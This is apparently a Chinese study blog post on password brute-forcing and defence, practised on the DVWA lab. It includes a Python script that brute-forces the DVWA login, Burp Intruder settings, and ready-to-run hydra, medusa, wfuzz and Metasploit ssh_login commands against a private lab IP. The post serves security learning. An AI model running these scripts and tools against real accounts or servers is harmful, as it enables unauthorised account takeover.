11-密码暴力猜解与防御

1、准备篇

1.1 密码安全概述

1.2 不安全密码

默认密码(路由器、摄像头)
弱口令 https://nordpass.com/most-common-passwords-list
脱裤、撞库 https://haveibeenpwned.com

1.3 密码猜解思路

  • 密码长度:一般是8-16位
  • 密码内容:0-9 a-z A-Z 特殊符号

1.4 字典wordlist

通用字典(word list、dict)
1、Kali自带(cd /usr/share/wordlists)
2、网络下载(百度、GitHub)

注意使用场合:比如Web网站密码字典、WiFi密码字典、操作系统用户密码字典、数据库密码字典...

专用字典
1、指定格式字典,比如生日、手机号、QQ号
Kali:crunch -h
2、社工字典
Kali:cupp(国外)、https://github.com/WangYihang/ccupp (国内)
BP:https://bugku.com/mima
3、文章内容字典
cewl https://sqlmap.org -w dict.txt(切割文章)

2、实战篇

2.1 python实现暴力破解

思路:
1、从字典读取值,生成密码
2、HTTP连接到需要爆破的地址(F12,登录看看包地址)
3、获取HTTP响应,分析响应结果,看看有没有错误提示(Username and/or password incorrect)
4、如果没有提示,就继续下一次循环
5、如果没有,就代表爆破成功

import requests
# 如果第一个密码就提示成功,是 PHPSESSID 没有替换的问题

pwds =open("password.txt")
for pwd in pwds:
    url = "http://localhost/DVWA/vulnerabilities/brute/"
    # PHPSESSID务必替换为登陆以后的PHPSESSID
    resp = requests.get(url = url, params = {"username":"admin", "password":pwd.strip(), "Login":"Login"}, headers = {"Cookie":"security=low; BEEFHOOK=d83iUtVEPA40EzTeQuAGilAcNsvuKbYCssJDO2qhLkKyPNK37CIIV5NZpvaINYqVPT4erug7xcrfqPCh; PHPSESSID=do462brkn1gnerpusf1f5aqd30; postpass=ed48e17ff650f3af9f01fa71681b1a16; uislogin=1"})
    #print(resp.text)
    if 'Username and/or password incorrect.' in resp.text:
        print('失败:'+pwd, end='\n')
    else:
        print('成功!!'+pwd, end='\n')
        break

pwds.close()

2.2 BurpSuite实现暴力破解

抓包->右键intruder

2.3 Bp其他攻击模式

Sniper - 对一个字段做精准的猜解
Battering ram - 多个字段,使用一个字典
Pitchfork - 多个字典,第一个值和第一个值,第二个值和第二个值,一一对应
Cluster bomb - 多个字典相互交叉对应

3、防御篇

3.1 DVWA靶场防御措施

3.1.1 Medium级别

每次失败,sleep了2秒,没区别

3.1.2 High级别(token)

同逻辑漏洞,重点是如何拿到上一次的token
1、使用Pitchfork模式
2、在option中选择回包的token添加正则表达式,并复制第一个token值。
3、payload选择Recursive grep
4、且资源池设置单线程!
5、可以在grep-match上面添加匹配,输出正确的密码时打勾

3.1.3 Impossible级别

存在token,且如果尝试登陆失败3次,账户会被锁定15分钟

3.2 如何防御密码爆破

1、sleep
2、token
3、限制尝试次数,锁定账户

二次验证(验证码、电话、图片、人脸)
reCAPTCHA(IP验证)
行为识别(如突然在异地登陆等,异常行为)
WAF
取消密码登录(只用微信 或 手机号登录)

4、其他爆破工具

4.1 Kali 自带 wfuzz -h

1、猜参数
2、爆破密码
3、找出网站过滤的参数,比如SQL注入和XSS
4、目录扫描
5、压力测试
...
wfuzz -z file,user -z file,pass -d "username=FUZZ&password=FUZ2Z&submit=login" http:xxx(user和pass是两个文件,FUZ2Z表示第二个参数)(可以用--hw xxx进行过滤)

4.2 Kali 自带 hydra -h

https://github.com/vanhauser-thc/thc-hydra

参数 解释
-R 恢复上次中断的会话
-I 忽略之前的会话文件
-S SSL连接
-s 指定端口
-l 指定用户名字典,-L 来自文件
-p 指定密码字典,-P 来自文件
-x 密码生成
-y 禁用字符

hydra爆破centos的SSL协议
hydra -L username -P password 192.168.125.10 ssh

不要带.txt,自己创建一个文件,自己复制粘贴,否则会带[EF][BB][BF]头

4.3 Kali 自带 medusa -h

medusa -M ssh -h 192.168.125.10 -U username -P password

4.4 msf 辅助模块

msfconsole
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.125.10
set USER_FILE /root/baopo/username
set PASS_FILE /root/baopo/password
exploit

search ssh_login; use 0; show options

posted @ 2025-03-08 15:50  xmh666  阅读(139)  评论(0)    收藏  举报